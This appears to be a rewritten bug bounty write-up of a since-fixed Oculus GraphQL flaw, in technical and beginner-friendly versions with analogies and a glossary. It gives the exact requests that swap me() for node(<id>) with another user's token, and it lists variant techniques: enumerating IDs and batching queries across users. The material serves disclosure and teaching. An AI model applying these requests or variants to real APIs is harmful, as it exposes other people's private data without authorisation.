View-The-Email-Subscriptions-For-Any-Oculus-User
The GraphQL endpoint allowed a user to query another user's email subscription categories by supplying that user's numeric ID instead of their own. An attacker could view which email notifications another Oculus user had opted into, information intended to be private.
Published on philippeharewood.com
Within https://secure.oculus.com/my/communications there is a listing of Oculus communication choices for a user. It is possible to query these selections for any user.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Oculus accounts have a communications preferences page at https://secure.oculus.com/my/communications, which lists the email communication choices a user has made. Those choices are stored per user and are meant to be private to that user. The underlying data is served by the Oculus GraphQL endpoint at graph.oculus.com, and each subscription category has an id and a display_name.
The report shows that the GraphQL API allowed one user's access token to read another user's email subscription categories.
Setup
Two Oculus accounts were used:
| Role | Username | ID | Access token |
|---|---|---|---|
| Victim | phwd | 1 | TOKEN_ONE |
| Attacker | phwdtest | 2 | TOKEN_TWO |
The victim's account returned three subscription categories. The attacker's account returned none. Both accounts had an Oculus access token (OC Access Token) that could be used against the GraphQL endpoint.
Finding it
The communications page lists your own subscription choices. The researcher queried the GraphQL API directly to see how those choices are represented, using the me() root field with the email_subscription_categories selection.
Exploitation
Step 1: Read the victim's own subscriptions
Using the victim's token, the researcher queried me() for the email subscription categories:
https://graph.oculus.com/graphql?q=me%28%29%7Bemail_subscription_categories%7Bid%2Cdisplay_name%7D%7D&access_token=TOKEN_ONE
The q parameter is a URL-encoded GraphQL query, me(){email_subscription_categories{id,display_name}}, and access_token carries the victim's token. The response is keyed by the victim's user ID and lists three categories:
{
"1": {
"email_subscription_categories": [{
"id": "33",
"display_name": "Developer Email Notifications"
}, {
"id": "44",
"display_name": "Oculus Blog"
}, {
"id": "55",
"display_name": "Rift Developer News and Updates"
}]
}
}
Step 2: Confirm the attacker's own subscriptions are empty
The same query was run with the attacker's token:
https://graph.oculus.com/graphql?q=me%28%29%7Bemail_subscription_categories%7Bid%2Cdisplay_name%7D%7D&access_token=TOKEN_TWO
The response is keyed by the attacker's user ID and shows no subscriptions:
{
"2": {
"email_subscription_categories": []
}
}
Step 3: Read the victim's subscriptions with the attacker's token
Instead of me(), the researcher used the node() root field with the victim's user ID, 1, while still supplying the attacker's token:
https://graph.oculus.com/graphql?q=node%281%29%7Bemail_subscription_categories%7Bid%2Cdisplay_name%7D%7D&access_token=TOKEN_TWO
The q parameter decodes to node(1){email_subscription_categories{id,display_name}}. The response is keyed by user ID 1 and returns exactly the same three categories that the victim saw for themselves:
{
"1": {
"email_subscription_categories": [{
"id": "33",
"display_name": "Developer Email Notifications"
}, {
"id": "44",
"display_name": "Oculus Blog"
}, {
"id": "55",
"display_name": "Rift Developer News and Updates"
}]
}
}
The attacker token was accepted for a node belonging to another user, and the private subscription list was returned in full.
Root cause
The report does not explain the root cause. The attacker's token was accepted for a node belonging to another user.
Impact
An attacker holding a valid Oculus access token could view another user's email subscriptions by supplying that user's ID. The report states that this information is intended not to be public. The exposure is limited to reading the subscription categories; the report does not describe any way to change them or to reach other data through the same path.
Fix
Facebook fixed the issue on 18 January 2018.
Timeline
- 15 January 2018: report sent
- 16 January 2018: further investigation by Facebook
- 18 January 2018: fixed by Facebook
- 31 January 2018: bounty awarded by Facebook
Variants to test
- Swap
me()fornode(<id>)on any GraphQL endpoint that exposes per-user settings, and supply your own token. A positive result is a response keyed by the other user's ID containing their settings. - Enumerate sequential or guessable node IDs with a single low-privilege token. A positive result is data returned for IDs that do not belong to your account.
- Apply the same substitution to sibling fields on the user node, such as other preference or profile selections. A positive result is any field that returns another user's private values.
- Test whether the same field is reachable through batched or aliased queries in one request. A positive result is multiple users' data returned in a single response.
What happened, in plain words
Oculus accounts have a communications preferences page. Every Oculus account has a settings page where you choose which emails you want to receive: developer news, blog posts, product updates and so on. Those choices are personal. They are meant to be visible only to you when you are logged in.
This report shows that the system behind that page had a gap. A person with a valid Oculus account could ask the system for another person's email choices by supplying that person's numeric user ID. The researcher used two accounts: one whose list returned three categories, and one whose list was empty. Using the second account's credentials, he read the first account's private list.
No passwords were stolen and nothing was changed. The problem was that the system answered a question it should have refused.
Background: the page, the API and the token
Before the steps make sense, three ideas need to be clear.
The product and the feature. Oculus accounts have a communications preferences page at https://secure.oculus.com/my/communications. It lists the email communication choices a user has made. Each choice is stored per user and is meant to be private to that user. Each subscription category has an id (a number the system uses internally) and a display_name (the human-readable label, such as "Oculus Blog").
What an API is. A web page is what you see; an API is the machine-to-machine door behind it. When the communications page loads, it does not contain your choices baked into the page. Instead, the page's code asks a server for the data, and the server replies with a structured answer. That conversation is the API. A useful comparison: a restaurant menu is the page, and the waiter who walks to the kitchen and comes back with your dish is the API. You normally never talk to the kitchen yourself, but nothing stops you from walking up to the kitchen door and asking, which is exactly what this report does.
What GraphQL is. The Oculus API at graph.oculus.com speaks GraphQL. In a normal API you call different addresses for different things. In GraphQL there is one address, and you send a query describing exactly which pieces of data you want. Think of it as a form you fill in: "give me this field, and inside it these sub-fields". The server returns only what you asked for, in a JSON document (a text format built from curly braces, quoted names and values).
What an access token is. To know who is asking, the API needs proof of identity. That proof is an access token: a long string of characters that the server issued to your account when you logged in. It works like a cloakroom ticket. You show the ticket, and the staff hand you the coat that belongs to that ticket. You do not need to say your name; the ticket says it for you. Anyone holding your ticket can collect your coat, which is why tokens are secret. In this report the tokens are written as TOKEN_ONE and TOKEN_TWO; the real values are not published.
What the vulnerability class means. This is a broken access control problem, sometimes called an insecure direct object reference. The system has a list of objects (here, user records identified by a number) and it hands one out to whoever asks, without checking that the asker is entitled to that particular object. The everyday comparison is a hotel where the receptionist gives you the key to room 101 because you asked for room 101, without checking that you are the guest in room 101. The lock on the door is fine; the problem is at the front desk.
Setup
Two Oculus accounts were used:
| Role | Username | ID | Access token |
|---|---|---|---|
| Victim | phwd | 1 | TOKEN_ONE |
| Attacker | phwdtest | 2 | TOKEN_TWO |
The victim's account returned three subscription categories. The attacker's account returned none. Both accounts had an Oculus access token (OC Access Token) that could be used against the GraphQL endpoint.
Having two accounts is the heart of the method. One account plays the victim and is set up with data worth protecting. The other plays the attacker and is deliberately left empty. If the attacker's credentials ever return the victim's data, there is no innocent explanation: the data cannot have come from the attacker's own account.
Finding it
The communications page lists your own subscription choices. The researcher queried the GraphQL API directly to see how those choices are represented, using the me() root field with the email_subscription_categories selection. me() is a shorthand meaning "the account that owns the token I just sent".
In plain terms: he first watched how the waiter behaves when serving him his own dish, and noticed the kitchen labels every dish with the customer's number. That label is the clue. If the kitchen can find a dish by customer number, can it be asked for customer number 1's dish while holding customer number 2's ticket?
Exploitation
Step 1: Read the victim's own subscriptions
Using the victim's token, the researcher queried me() for the email subscription categories:
https://graph.oculus.com/graphql?q=me%28%29%7Bemail_subscription_categories%7Bid%2Cdisplay_name%7D%7D&access_token=TOKEN_ONE
Line by line:
https://graph.oculus.com/graphqlis the single address of the GraphQL API.?starts the list of parameters sent with the request.q=is the parameter that carries the query itself.- The query is URL-encoded, meaning special characters are written in a form a URL can carry safely.
%28is(,%29is),%7Bis{,%7Dis}, and%2Cis a comma. Decoded, the query readsme(){email_subscription_categories{id,display_name}}: "for me, give the email subscription categories, and for each one give its id and display name". &separates parameters.access_token=TOKEN_ONEis the victim's cloakroom ticket, telling the server who is asking.
The response is keyed by the victim's user ID and lists three categories:
{
"1": {
"email_subscription_categories": [{
"id": "33",
"display_name": "Developer Email Notifications"
}, {
"id": "44",
"display_name": "Oculus Blog"
}, {
"id": "55",
"display_name": "Rift Developer News and Updates"
}]
}
}
Reading the JSON: the outermost braces hold one entry, named "1", which is the victim's user ID. Inside it, email_subscription_categories is a list (the square brackets) of three items. Each item has an id and a display_name. So the victim is subscribed to three things: category 33, Developer Email Notifications; category 44, Oculus Blog; and category 55, Rift Developer News and Updates. This is the private data the report is about, and this first request is the legitimate case: the owner asking about themselves.
Step 2: Confirm the attacker's own subscriptions are empty
The same query was run with the attacker's token:
https://graph.oculus.com/graphql?q=me%28%29%7Bemail_subscription_categories%7Bid%2Cdisplay_name%7D%7D&access_token=TOKEN_TWO
This is the identical request as step 1, with one change: the token at the end is now TOKEN_TWO, the attacker's ticket. The query still says me(), so the server should answer about the attacker.
The response is keyed by the attacker's user ID and shows no subscriptions:
{
"2": {
"email_subscription_categories": []
}
}
Here the outer entry is "2", the attacker's user ID, and the list is empty: [] means a list with nothing in it.
Step 3: Read the victim's subscriptions with the attacker's token
Instead of me(), the researcher used the node() root field with the victim's user ID, 1, while still supplying the attacker's token:
https://graph.oculus.com/graphql?q=node%281%29%7Bemail_subscription_categories%7Bid%2Cdisplay_name%7D%7D&access_token=TOKEN_TWO
Decoding the URL-encoded parts again: %28 is (, %29 is ), %7B is {, %7D is }, %2C is a comma. The q parameter therefore decodes to node(1){email_subscription_categories{id,display_name}}. The difference from step 1 is the first word: me() has been replaced by node(1), which means "the object with ID 1", and ID 1 belongs to the victim. The token at the end is still TOKEN_TWO, the attacker's. In hotel terms: the attacker walked to the front desk, showed his own key card, and asked for room 101.
The response is keyed by user ID 1 and returns exactly the same three categories that the victim saw for themselves:
{
"1": {
"email_subscription_categories": [{
"id": "33",
"display_name": "Developer Email Notifications"
}, {
"id": "44",
"display_name": "Oculus Blog"
}, {
"id": "55",
"display_name": "Rift Developer News and Updates"
}]
}
}
Compare this with step 2. The attacker's own list was empty, yet the attacker's token has just produced the victim's three categories, identical to what the victim saw in step 1. The attacker token was accepted for a node belonging to another user, and the private subscription list was returned in full.
Root cause
The report does not explain the root cause. The attacker's token was accepted for a node belonging to another user.
In everyday terms: the front desk had two procedures. "Give me my own key" was handled correctly, because the ticket itself says whose key it is. "Give me the key to room 101" was handled by looking up room 101 and handing over the key, without ever comparing the room number to the ticket. The website only ever used the first procedure, so the flaw was invisible in normal use. It only appeared when someone spoke to the API directly and used the second procedure.
Impact
An attacker holding a valid Oculus access token could view another user's email subscriptions by supplying that user's ID. The report states that this information is intended not to be public. The exposure is limited to reading the subscription categories; the report does not describe any way to change them or to reach other data through the same path.
Why does reading a subscription list matter? It is a small piece of private information, but it reveals what a person is interested in and which products they follow, and it can be collected for many users at once.
Fix
Facebook fixed the issue on 18 January 2018. In hotel terms: before handing over a key, compare the room number on the request with the room number on the ticket, and refuse when they differ.
Timeline
- 15 January 2018: report sent
- 16 January 2018: further investigation by Facebook
- 18 January 2018: fixed by Facebook
- 31 January 2018: bounty awarded by Facebook
Variants to test
These are the general lessons a beginner can carry to other targets.
- Swap
me()fornode(<id>)on any GraphQL endpoint that exposes per-user settings, and supply your own token. A positive result is a response keyed by the other user's ID containing their settings. - Enumerate sequential or guessable node IDs with a single low-privilege token. A positive result is data returned for IDs that do not belong to your account.
- Apply the same substitution to sibling fields on the user node, such as other preference or profile selections. A positive result is any field that returns another user's private values.
- Test whether the same field is reachable through batched or aliased queries in one request. A positive result is multiple users' data returned in a single response.
Glossary
- Access token: a secret string issued at login that proves which account is making a request, like a cloakroom ticket.
- API: the machine-to-machine interface a website's code uses to fetch and send data, separate from the page you see.
- Authorisation: the check that a logged-in user is allowed to do or see a particular thing, as opposed to merely being logged in.
- Baseline: a known, controlled result (here, the attacker's empty list) used to prove later results are not innocent.
- Bounty: a reward paid by a company to a researcher who reports a valid security issue.
- Broken access control: a flaw where the system fails to check that a user is entitled to the data or action they requested.
- Endpoint: a specific address on a server that accepts requests, such as
graph.oculus.com/graphql. - Enumeration: trying a series of IDs or names in order to discover which ones exist or return data.
- Field: a named piece of data in a GraphQL query or response, such as
display_name. - GraphQL: a query language for APIs where the client describes exactly which fields it wants in one request.
- ID: a number or string that uniquely identifies a record, such as a user.
- Insecure direct object reference: a broken access control flaw where an object is fetched by its identifier without checking the requester's right to it.
- JSON: a text format for structured data, built from braces, brackets, quoted names and values.
- Node: a single object in a GraphQL API, addressable by its ID;
node(1)asks for the object with ID 1. me(): a GraphQL root field meaning the account that owns the supplied token.- Ownership check: verifying that the record being requested belongs to the user making the request.
- Parameter: a named value attached to a URL after
?, such asqoraccess_token. - Query: the text sent to a GraphQL API describing the data wanted.
- Resolver: the part of a GraphQL server that produces the value for a field.
- Root field: a top-level entry point in a GraphQL query, such as
me()ornode(). - URL encoding: writing special characters in a URL-safe form, for example
%7Bfor{and%28for(. - User ID: the number that identifies an account in the system.
- Vulnerability: a weakness in a system that allows it to be used in a way its designers did not intend.